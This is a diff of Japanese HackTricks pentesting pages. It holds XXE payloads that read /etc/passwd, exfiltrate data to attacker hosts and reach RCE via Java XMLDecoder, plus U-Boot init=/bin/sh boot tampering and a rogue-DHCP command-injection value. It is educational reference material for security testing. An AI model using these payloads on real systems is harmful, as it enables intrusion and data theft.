+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4- +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -484,17 +460,17 @@ Content-Type: application/xml;charset=UTF-8
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+ +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4 +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
``` ```
### File:/ プロトコルバイパス ### ファイル:/ プロトコルバイパス
ウェブがPHPを使用している場合、`file:/` の代わりに **phpラッパー** `php://filter/convert.base64-encode/resource=` を使用して**内部ファイルにアクセス**できます。 WebがPHPを使用している場合、`file:/`の代わりに**php wrappers**`php://filter/convert.base64-encode/resource=`を使用して**内部ファイルにアクセス**できます。
ウェブがJavaを使用している場合は、[**jar: プロトコル**](xxe-xee-xml-external-entity.md#jar-protocol)を確認してください WebがJavaを使用している場合は、[**jar:プロトコル**](xxe-xee-xml-external-entity.md#jar-protocol)をチェックできます
### HTML エンティティ ### HTMLエンティティ
[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)からのトリック\ [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)からのトリック\
**html エンティティ**を使用して**エンティティ内にエンティティ**を作成し、それを呼び出して**dtdをロード**します。\ **エンティティ内にエンティティ**を作成し、**htmlエンティティ**でエンコードしてから**dtdをロード**することができます。\
使用する**HTML エンティティ**は**数値**である必要があります([この例のように](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric%20entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C))。 使用される**HTMLエンティティ**は**数値**である必要があることに注意してください(この例のように)。
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]> <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data> <data>
@ -533,15 +509,18 @@ DTDの例
</creds> </creds>
``` ```
## **SOAP - XEE** ## **SOAP - XEE**
### **XML External Entity (XEE) Injection**
XML External Entity (XEE) Injection is a type of attack against an application that parses XML input. An attacker can leverage this vulnerability to access sensitive data, execute remote code, or perform other malicious actions. By injecting malicious XML content containing external entities, an attacker can manipulate the XML parser to disclose files, interact with internal resources, or carry out other unauthorized activities.
```markup ```markup
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body> <soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
``` ```
## XLIFF - XXE ## XLIFF - XXE
このセクションは [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) から取られました。\ このセクションは[https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)から取得されました。[Wikipedia](https://en.wikipedia.org/wiki/XLIFF)によると:
[Wikipedia](https://en.wikipedia.org/wiki/XLIFF) によると:
> XLIFF (XML Localization Interchange File Format) は、ローカリゼーションプロセス中にツール間でローカライズ可能なデータが渡される方法を標準化し、CATツール交換のための共通フォーマットを作成するために作られた、XMLベースのビテキストフォーマットです。 > XLIFF (XML Localization Interchange File Format)は、ローカライズ可能なデータがローカライゼーションプロセス中およびCATツールの交換中にツール間で渡される方法を標準化し、CATツールの交換のための共通の形式を作成するために作成されたXMLベースのバイテキスト形式です。
### Blind request ### Blind request
```markup ```markup
@ -555,13 +534,13 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff> <xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ------WebKitFormBoundaryqBdAsEtYaBjTArl3--
``` ```
サーバーはエラーで応答します: サーバーはエラーを返します:
```javascript ```javascript
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."} {"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
``` ```
しかし、Burp Collaboratorでヒットがありました。 しかし、Burp Collaborator でヒットがありました。
### Out of Bandを介したデータの抽出 ### Out of Band を通じたデータの外部への送信
```markup ```markup
------WebKitFormBoundaryqBdAsEtYaBjTArl3 ------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff" Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -573,20 +552,22 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff> <xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ------WebKitFormBoundaryqBdAsEtYaBjTArl3--
``` ```
### エラーを利用したデータの抽出 ユーザーエージェントが表示されたBurp Collaboratorによって返された情報に基づくと、**Java 1.8**が使用されているようです。このJavaバージョンでXXEを悪用する際の問題の1つは、**`New Line`を含むファイル**(例:`/etc/passwd`をOut of Bandテクニックを使用して取得できないことです。
DTDファイル ### エラーベースを利用したデータの外部への送信
DTDファイル:
```markup ```markup
<!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>"> <!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo; %foo;
%xxe; %xxe;
``` ```
サーバーの応答: サーバーレスポンス:
```javascript ```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"} {"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
``` ```
素晴らしい!`non-exist` ファイルがエラーメッセージに反映されました。次はファイル内容の追加です。 素晴らしい! `non-exist` ファイルがエラーメッセージに反映されています。次はファイルコンテンツを追加します。
DTDファイル DTDファイル
```markup ```markup
@ -595,15 +576,15 @@ DTDファイル
%foo; %foo;
%xxe; %xxe;
``` ```
And the content of the file was successfully **HTTP経由で送信されたエラーの出力に印刷されました** そしてファイルの内容は、HTTP経由で送信されたエラーの出力に**正常に表示されました**
## RSS - XEE ## RSS - XEE
XXE脆弱性を悪用するための有効なRSS形式のXML。 XXE脆弱性を悪用するためのRSS形式の有効なXML。
### Ping back ### ピンバック
攻撃者サーバーへのシンプルなHTTPリクエスト 攻撃者のサーバーに対するシンプルなHTTPリクエスト
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY > <!DOCTYPE title [ <!ELEMENT title ANY >
@ -624,7 +605,7 @@ XXE脆弱性を悪用するための有効なRSS形式のXML。
</channel> </channel>
</rss> </rss>
``` ```
### ファイルを読む ### ファイルの読み込み
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY > <!DOCTYPE title [ <!ELEMENT title ANY >
@ -645,9 +626,9 @@ XXE脆弱性を悪用するための有効なRSS形式のXML。
</channel> </channel>
</rss> </rss>
``` ```
### ソースコードの読み取り ### ソースコードを読む
PHP base64フィルターを使用して PHPのbase64フィルターを使用
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY > <!DOCTYPE title [ <!ELEMENT title ANY >
@ -668,11 +649,11 @@ PHP base64フィルターを使用して
</channel> </channel>
</rss> </rss>
``` ```
## Java XMLDecoder XEEからRCEへ ## Java XMLDecoder XEE to RCE
XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成するJavaクラスです。悪意のあるユーザーがアプリケーションに任意のデータを**readObject**メソッドの呼び出しに使用させることができれば、サーバー上で即座にコード実行を行うことができます。 XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成するJavaクラスです。悪意のあるユーザーがアプリケーションに任意のデータを使用させて**readObject**メソッドを呼び出すことができれば、サーバーでコードの実行権限を瞬時に取得します。
### Runtime().exec()使用 ### Runtime().exec()使用
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder"> <java version="1.7.0_21" class="java.beans.XMLDecoder">
@ -702,6 +683,8 @@ XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成す
</object> </object>
</java> </java>
``` ```
### ProcessBuilder
### ProcessBuilder ### ProcessBuilder
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
@ -749,14 +732,14 @@ XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成す
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れ * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手す
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つけ
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する** * **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>

View file

@ -1,61 +1,56 @@
```markdown
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* あなたの**会社をHackTricksに広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。 * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **HackTricks**のGitHubリポジトリ[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングテクニックを共有する * **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください
</details> </details>
デバイスの起動構成やU-bootなどのブートローダーを変更するために推奨される手順は次のとおりです
[https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)からコピー 1. **ブートローダーのインタープリターシェルにアクセス**:
- ブート中に、「0」、「スペース」、または他の特定の「マジックコード」を押して、ブートローダーのインタープリターシェルにアクセスします。
U-bootのようなデバイスの起動とブートローダーを変更する際には、以下のことを試みてください: 2. **ブート引数の変更**:
- 以下のコマンドを実行して、ブート引数に '`init=/bin/sh`' を追加し、シェルコマンドを実行できるようにします:
%%%
#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
#saveenv
#boot
%%%
* 起動中に"0"、スペース、または他の特定された「マジックコード」を押して、ブートローダーのインタープリターシェルにアクセスを試みる。 3. **TFTPサーバーの設定**:
* ブート引数の最後に'`init=/bin/sh`'を追加するなどして、シェルコマンドを実行するように設定を変更する。 - ローカルネットワークを介してイメージをロードするためにTFTPサーバーを構成します
* `#printenv` %%%
* `#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh` #setenv ipaddr 192.168.2.2 #デバイスのローカルIP
* `#saveenv` #setenv serverip 192.168.2.1 #TFTPサーバーのIP
* `#boot` #saveenv
* ワークステーションからローカルにネットワーク経由でイメージをロードするためにtftpサーバーを設定する。デバイスがネットワークアクセスを持っていることを確認する。 #reset
* `#setenv ipaddr 192.168.2.2 #デバイスのローカルIP` #ping 192.168.2.1 #ネットワークアクセスを確認
* `#setenv serverip 192.168.2.1 #tftpサーバーのIP` #tftp ${loadaddr} uImage-3.6.35 #loadaddrはファイルをロードするアドレスとTFTPサーバー上のイメージのファイル名を取ります
* `#saveenv` %%%
* `#reset`
* `#ping 192.168.2.1 #ネットワークアクセスが利用可能か確認する`
* `#tftp ${loadaddr} uImage-3.6.35 #loadaddrは2つの引数を取る: ファイルをロードするアドレスとTFTPサーバー上のイメージのファイル名`
* `ubootwrite.py`を使用してubootイメージを書き込み、変更されたファームウェアをプッシュしてroot権限を取得する
* 以下のような有効なデバッグ機能をチェックする:
* 詳細なログ
* 任意のカーネルのロード
* 信頼されていないソースからのブート
* \*注意: 1本のピンをグラウンドに接続し、デバイスの起動シーケンスを観察する。カーネルが解凍される前に、グラウンドされたピンをSPIフラッシュチップのデータピン(DO)に短絡/接続する
* \*注意: 1本のピンをグラウンドに接続し、デバイスの起動シーケンスを観察する。カーネルが解凍される前に、グラウンドされたピンをNANDフラッシュチップのピン8と9に短絡/接続する。U-bootがUBIイメージを解凍する瞬間に行う
* \*ピンを短絡する前にNANDフラッシュチップのデータシートを確認する
* 悪意のあるパラメータを入力としてデバイスが摂取するように設定された不正なDHCPサーバーを構成する
* Metasploitの(MSF) DHCP補助サーバーを使用し、`a";/bin/sh;#`のようなコマンドインジェクションコマンドで‘`FILENAME`’パラメータを変更して、デバイスの起動手順の入力検証をテストする。
\*ハードウェアセキュリティテスト 4. **`ubootwrite.py`の利用**:
- `ubootwrite.py`を使用してU-bootイメージを書き込み、ルートアクセスを取得するために修正されたファームウェアをプッシュします。
5. **デバッグ機能の確認**:
- 冗長なログ記録、任意のカーネルの読み込み、または信頼されていないソースからのブートなどのデバッグ機能が有効になっているかどうかを確認します。
6. **注意深いハードウェア干渉**:
- デバイスの起動シーケンス中に1つのピンを接地に接続し、特にカーネルが展開される前にSPIまたはNANDフラッシュチップとやり取りする際には、デバイスを損傷しないように非常に注意してください。ピンをショートする前にNANDフラッシュチップのデータシートを参照してください。
7. **ローグDHCPサーバーの設定**:
- デバイスがPXEブート中に摂取する悪意のあるパラメータを持つローグDHCPサーバーを設定します。MetasploitのMSFDHCP補助サーバーなどのツールを利用します。デバイスの起動手順の入力検証をテストするために、'FILENAME'パラメータを`'a";/bin/sh;#'`などのコマンドインジェクションコマンドで変更します。
**注意**: デバイスのピンと物理的なやり取りを伴う手順(*アスタリスクでマークされています)は、デバイスを損傷しないように非常に注意してアプローチする必要があります。
<details> # 参考文献
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* あなたの**会社をHackTricksに広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* **HackTricks**のGitHubリポジトリ[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングテクニックを共有する。
</details>
```

View file

@ -2,32 +2,32 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。 - **Discordグループ**に参加する💬https://discord.gg/hRep4RUj7fまたは[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する - **HackTricks**https://github.com/carlospolop/hacktricksと[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください
</details> </details>
## HackTricksの価値観 ## HackTricksの価値観
{% hint style="success" %} {% hint style="success" %}
これらは**HackTricksプロジェクトの価値観**です: これ**HackTricksプロジェクトの価値観**です:
* インターネット上の**全員**に**教育的なハッキング**リソースへの**無料**アクセスを提供する。 - **すべてのインターネットユーザーに教育用ハッキングリソースへの無料アクセス**を提供する。
* ハッキングは学びについてであり、学びは可能な限り無料であるべきです。 - ハッキングは学びの過程であり、学ぶことはできる限り無料であるべきです。
* この本の目的は、包括的な**教育リソース**として機能することです。 - この本の目的は包括的な**教育リソース**として機能することです。
* コミュニティが公開する素晴らしい**ハッキング**技術を**保存**し、**オリジナルの著者**に全ての**クレジット**を与える。 - **コミュニティが公開した素晴らしいハッキングテクニックを**保存し、**オリジナルの著者にすべてのクレジットを**与える。
* **他人のクレジットは望まない**、私たちは単に皆のためにクールなコツを保存したいだけです。 - **他の人々からのクレジットを求めているわけではありません**、単にクールなトリックをみんなに提供したいだけです。
* HackTricksには**独自の研究**も書いています。 - HackTricksでは**独自の研究**も行っています。
* いくつかのケースでは、HackTricksに技術の重要な部分の**要約を書き**、**詳細については元の投稿を訪れることを奨励します** - いくつかの場合、テクニックの重要な部分の要約をHackTricksに記載し、詳細については**元の投稿を訪れるように**読者に促します
* 本の中の全てのハッキング技術を**よりアクセスしやすく**するために**整理する** - 本の中のすべてのハッキングテクニックを**よりアクセスしやすくするために整理**します
* HackTricksチームは、人々が**より速く学べるように**コンテンツを整理するためだけに何千時間も無料で費やしています。 - HackTricksチームは、人々が**より速く学べるようにコンテンツを無料で整理する**ために何千時間も費やしています。
{% endhint %} {% endhint %}
<figure><img src="../.gitbook/assets/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
@ -35,36 +35,36 @@ HackTricksをサポートする他の方法:
## HackTricksのFAQ ## HackTricksのFAQ
{% hint style="success" %} {% hint style="success" %}
* **これらのリソースをありがとうございます。どのように感謝すればいいですか?** - **これらのリソースに感謝します、どのように感謝すればよいですか?**
{% endhint %} {% endhint %}
[**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をメンションしてツイートでHackTricksチームに公に感謝することができます。\ HackTricksチームに公に感謝するために、[**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をツイートで言及して、これらのリソースを公に提供してくれたことに感謝することができます。\
特に感謝している場合は、[**こちらでプロジェクトをスポンサーすることもできます**](https://github.com/sponsors/carlospolop)。\ 特に感謝している場合は、[**こちらでプロジェクトをスポンサー**](https://github.com/sponsors/carlospolop)することもできます。\
そして、Githubプロジェクトに**スターを付けることを忘れないでください** (リンクは下にあります) そして、Githubプロジェクトに**スターを付けることを忘れないでください**!(以下のリンクを見つけてください)
{% hint style="success" %} {% hint style="success" %}
* **プロジェクトにどのように貢献できますか?** - **プロジェクトにどのように貢献できますか?**
{% endhint %} {% endhint %}
コミュニティと新しいヒントやコツを**共有する**、または本で見つけたバグを**修正する**ことで貢献できます。それには、以下のGithubページに**プルリクエスト**を送信してください: コミュニティと新しいヒントやトリックを共有したり、本で見つけたバグを修正するために、それぞれのGithubページに**Pull Requestを送信**することができます:
* [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
* [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
Githubプロジェクトに**スターを付けることを忘れないでください** Githubプロジェクトに**スターを付けることを忘れないでください**
{% hint style="success" %} {% hint style="success" %}
* **HackTricksのコンテンツをコピーして私のブログに載せてもいいですか?** - **HackTricksからコンテンツをコピーしてブログに掲載してもよいですか?**
{% endhint %} {% endhint %}
はい、できますが、コンテンツを取得した**特定のリンクを必ず記載してください** はい、可能ですが、コンテンツの出典となる**特定のリンクを必ず記載**してください
{% hint style="success" %} {% hint style="success" %}
* **HackTricksのページを引用するにはどうすればいいですか** - **HackTricksのページを引用する方法は**
{% endhint %} {% endhint %}
情報を取得したページのリンクが表示されていれば十分です。\ 情報を取得したページのリンクが表示されていれば十分です。\
bibtexが必要な場合は、以下のようなものを使用できます: Bibtexが必要な場合は、次のようなものを使用できます:
```latex ```latex
@misc{hacktricks-bibtexing, @misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick}, author = {"HackTricks Team" or the Authors name of the specific page/trick},
@ -74,68 +74,76 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
} }
``` ```
{% hint style="warning" %} {% hint style="warning" %}
* **自分のブログにHackTricksの全てをコピーしてもいいですか?** * **HackTricksのすべてをブログにコピーしてもいいですか?**
{% endhint %} {% endhint %}
**できれば避けてください**。それは**誰にとっても利益になりません**。なぜなら、全ての**コンテンツは公式のHackTricksの本で既に無料で公開されている**からです。 **むしろやめておいたほうがいいです**。すべての**コンテンツはすでに公開されて**おり、公式のHackTricks書籍で無料で入手できます。
もし消えることを心配しているなら、Githubでフォークするかダウンロードしてください。無料で提供されていると言った通りです。 消える可能性を恐れるなら、Githubでフォークするかダウンロードしてください。私たちが言ったように、すでに無料です。
{% hint style="warning" %} {% hint style="warning" %}
* **なぜスポンサーがいるのですかHackTricksの本は商業目的ですか?** * **スポンサーを持っているのはなぜですかHackTricksの書籍は商業目的ですか?**
{% endhint %} {% endhint %}
最初の**HackTricksの価値**は、世界中の**全ての人々**に**無料**でハッキング教育リソースを提供することです。HackTricksチームは、このコンテンツを提供するために**何千時間も費やしてきました**。再び言いますが、**無料**でです。 最初の**HackTricksの価値**は、**世界中のすべての人に無料**のハッキング教育リソースを提供することです。HackTricksチームは**何千時間も**かけてこのコンテンツを無料で提供するために取り組んでいます。
もしHackTricksの本が**商業目的**で作られていると思っているなら、それは**完全に間違っています** HackTricksの書籍が**商業目的**で作成されたものだと考えているなら、**完全に誤解**しています
スポンサーがいるのは、全てのコンテンツが無料であっても、コミュニティが私たちの仕事を評価する機会を**提供したい**からです。そのため、[**Githubスポンサー**](https://github.com/sponsors/carlospolop)を通じてHackTricksに寄付するオプションを提供し、**関連するサイバーセキュリティ企業**にHackTricksをスポンサーしてもらい、本に**広告を掲載**することを可能にしています。広告は常に、それらを**目立たせる**が、コンテンツに集中している人の学習プロセスを**妨げない**場所に配置されます 私たちにはスポンサーがいますが、すべてのコンテンツが無料であるにもかかわらず、**コミュニティに私たちの仕事を評価してもらう機会**を提供したいからです。したがって、HackTricksに寄付するオプションを提供するために、人々にHackTricksへの寄付を可能にする[**Github sponsors**](https://github.com/sponsors/carlospolop)を通じて、**関連するサイバーセキュリティ企業**にHackTricksのスポンサーとして広告を掲載することがあります。**広告**は常に**目立つ場所**に配置されますが、学習プロセスを妨げることはありません
